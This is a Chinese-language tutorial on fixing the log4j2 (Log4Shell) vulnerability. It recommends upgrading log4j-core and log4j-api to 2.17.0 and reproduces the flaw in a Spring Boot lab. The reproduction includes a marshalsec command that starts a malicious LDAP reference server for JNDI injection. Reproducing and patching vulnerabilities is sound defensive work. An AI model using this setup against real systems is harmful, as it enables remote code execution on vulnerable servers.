一 建议
通过工具或者mvn指令,找出所有最上层引用到了log4j-core的包,有则第2步
单独引用log4j-api、log4j-core的2.17.0及以上版本,刷新、clean
二 QA
为何不换成logback?
你自己的项目能换,如果像遇到es这种换不了的,你还是要面对log4j2
三 演示
3.1. 漏洞检测
这里采用的是利用jndi访问ldap来测试
经过测试我发现了个前提条件:必须手动加入log4j2的包才能实现攻击,这个放后点给演示截图。
3.1.1. 搭建项目
按照网上教程,在有引用logback的包中排除logback
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
排除干净后,加入log4j2 starter
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
注意:如果没有将logback排除干净会导致这个测试失败,没有引用log4j2 starter会导致报错,因此排除和引入要同时操作(不过这是否意味着第三方引用不会导致自身项目存在漏洞?希望大神们给个指点)
项目使用的是spring boot启动的,因此搞了个Controller做测试
第1行的error可以当成是你有没有写错格式的检测,它会打印出具体系统的值,第2行就是我们准备的攻击站点
3.1.2. 准备ldap站点
由于我这边恶意代码一直报错,暂时只演示远程调用的可能
输入以下指令开启
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://www.baidu.com/#InjectOne 8088
至于marshalsec-0.0.3-SNAPSHOT-all.jar 大家上网找吧,这玩意很热门,一搜就有
3.1.3. 攻击
运行代码,可以看到以下日志,则证明将日志内容作为命令执行了
第一行是${java.os}的结果,第2行是ldap的调用
到此,确认漏洞可被重现,附带log4j starter的具体引用,由此看出单独引入log4j-core也是一样的
3.2. 升级log4j2
先来个打包后的jar,看看里面的依赖
这里有个旧版的log4j-core
因此我们需要手动添加最新版的log4j-api(配套)和log4j-core
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.17.0</version>
</dependency>
再次打包,然后看看里面的引用,发现已经自动替换为我们最后引入的版本
运行一下,没问题了,可喜可贺